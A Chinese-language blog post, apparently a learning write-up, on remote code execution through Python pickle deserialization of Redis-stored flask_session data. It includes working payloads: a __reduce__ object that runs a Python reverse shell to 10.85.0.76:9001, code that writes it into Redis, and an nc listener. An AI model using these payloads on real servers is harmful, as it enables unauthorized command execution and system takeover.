参考https://segmentfault.com/a/1190000013099825
Python 反序列化安全问题(一)
这一段时间使用flask做web开发,使用了redis存储session,阅读了flask_session源码,发现在存储session到redis过程中,利用了cPickle模块进行序列化以及反序列化;正好根据该样例学习一波Python反序列化相关的安全问题,不足之处请各位表哥指出。
一、基础知识讲解
1.1 cPickle模块
Python中主要是用cPickle和pickle,前者是使用C语言实现,速度可达到后者的1000倍,使用范围较广(文档链接)
cPickle可以序列化很多类型的对象,详情见文档。基础语法就是:
import cPicklea = 1b = cPickle.dumps(a) cPickle.loads(b)
文档中需要特别关注的是11.1.5.2,Pickling and unpickling extension types
这一节主要内容就是讲述cPickle序列化以及反序列化扩展类的过程,原文有一句我并没有完全理解意思:
When the Pickler encounters an object of a type it knows nothing about — such as an extension type
初始理解的意思是:当遇到解释器一无所知的扩展类型的时候,但是对于理解的这句话,扩展类型是什么意思?后来想到Python中元类是type,这里extension types应该理解为type类型的class。
class A(): # 旧类 passtype(A) <type 'classobj'>class B(object): # 新类 passtype(B) <type 'type'>
所以说这一节主要针对的应该是新类,即 class A(object) 此种写法创建的类(存疑,待补充完善);当序列化以及反序列化的过程中中碰到未知类的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化,该方法可以返回string和tuple类型;问题主要出在tuple类型(后面会细述),通过构造__reduce__可达到命令执行的目的:
import cPickleimport osclass A(object): def __reduce__(self): a = 'whoami' return (os.system,(a,)) b=A() result = cPickle.dumps(b) cPickle.loads(result)
使用上述命令即可执行whoami命令。同时也可以利用该方式反弹shell:
import cPickleimport osclass A(object): def __reduce__(self): a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" return (os.system,(a,)) b=A() result = cPickle.dumps(b) cPickle.loads(result)
然后在10.85.0.76执行nc -lvvp 9001,即可成功获取shell。
1.2 flask_session
因为本次测试主要是依托于flask和redis,所以首先介绍一下flask_session。
flask中默认使用客户端session,如果想要配置服务端session,就需要使用flask_session配合Redis(后面皆以Redis为主)或者其他数据库。flask_session使用Redis存储session的过程(主要使用如下的接口实现,只展示部分代码):
class RedisSessionInterface(SessionInterface): serializer = pickle # 上文模块导入 import cPickle as pickle session_class = RedisSession def open_session(self, app, request): # 获取session …… val = self.redis.get(self.key_prefix + sid) if val is not None: try: data = self.serializer.loads(val) ## 将session值取出后反序列化 return self.session_class(data, sid=sid) except: return self.session_class(sid=sid, permanent=self.permanent) return self.session_class(sid=sid, permanent=self.permanent) def save_session(self, app, session, response): # 存储session …… val = self.serializer.dumps(dict(session)) ## 将session值序列化存储到redis
上述过程简单说就是:session存取过程存在序列化和反序列化的过程。
session在Redis中以键值对(key,value)的形式存储。假设我们能够操纵Redis中的键值对,将某个key的值设为我们序列化后恶意代码(比如上面反弹shell的代码样例),然后在将自身的cookie设置为该key,在访问网站的时候,服务端会对于根据key查找value并进行反序列化,进而反弹shell。下面对于该想法进行测试
二、 漏洞测试
测试环境:
victim:Ubuntu 14.04、Redis 2.8.4、IP:10.85.0.54
attacker:Win10、IP:10.85.0.76
2.1 构建服务端
此处我用flask编写了一个服务端样例:
import redisimport osfrom flask import Flask,sessionfrom flask_session import Session app = Flask(__name__) SESSION_TYPE = 'redis'SESSION_PERMANENT = FalseSESSION_USE_SIGNER = FalseSESSION_KEY_PREFIX = 'session'SESSION_REDIS = redis.Redis(host='127.0.0.1',port='6379') SESSION_COOKIE_HTTPONLY = TruePERMANENT_SESSION_LIFETIME = 604800 # 7 daysapp.config.from_object(__name__) Session(app)@app.route('/')def hello_world(): session['name']='test' return 'Hello World!'if __name__ == '__main__': app.run(host='0.0.0.0')
将上述代码保存为app.py,第三方库安装完毕后,在服务器上运行
python app.py
即可在5000端口启动简单的服务端,访问如图所示,红框中是我们的sid,也是服务端查找session内容的key(因为设置了前缀,所以redis中key应该是session+sid):
2.2 更改session
此时如果说我们将value设置为恶意代码会怎么样?
import cPickleimport osimport redisclass A(object): def __reduce__(self): a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" return (os.system,(a,)) b=A() result = cPickle.dumps(b) r = redis.Redis(host='127.0.0.1',port=6379) r.set('此处为'session'和你的sid拼接',result)
运行上述代码后,我们可以发现我们的session内容变成下图所示内容:
2.3 反弹shell
此时在attacker监听9001端口:
nc -lvvp 9001
然后刷新浏览器中访问页面,发现成功反弹shell:
三、emmmm
目前很多Python的Web应用都用Redis等NoSQL进行session存储,当攻击者有机会去操纵服务端的session的时候(比如Redis未授权访问),配合反序列化漏洞即可执行命令。上述提到的两个库cPickle和pickle,两个库实现的功能基本相似,后面会对于Python实现的pickle库进行分析为何会出现命令执行的漏洞。